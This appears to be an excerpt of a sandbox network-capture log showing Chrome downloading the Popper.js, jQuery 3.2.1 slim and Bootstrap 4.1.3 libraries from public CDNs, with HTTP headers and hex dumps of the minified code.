2024-12-09 13:20:10 UTC	413	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 Data Ascii: odeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':re
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b Data Ascii: o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f Data Ascii: top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c Data Ascii: p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a Data Ascii: rn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a Data Ascii: ptions.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 Data Ascii: o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 Data Ascii: '===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 Data Ascii: o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49872	151.101.194.137	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:09 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:10 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 09 Dec 2024 13:20:10 GMT Age: 4078356 X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740066-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 1 X-Timer: S1733750410.185839,VS0,VE1 Vary: Accept-Encoding
2024-12-09 13:20:10 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-12-09 13:20:10 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2024-12-09 13:20:10 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-12-09 13:20:10 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-12-09 13:20:10 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49871	104.18.10.207	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:09 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:10 UTC	967	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:10 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: c6c8a086d090f1d2baac8a7b0c894894 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1134015 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ef54a7fa849159f-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:20:10 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
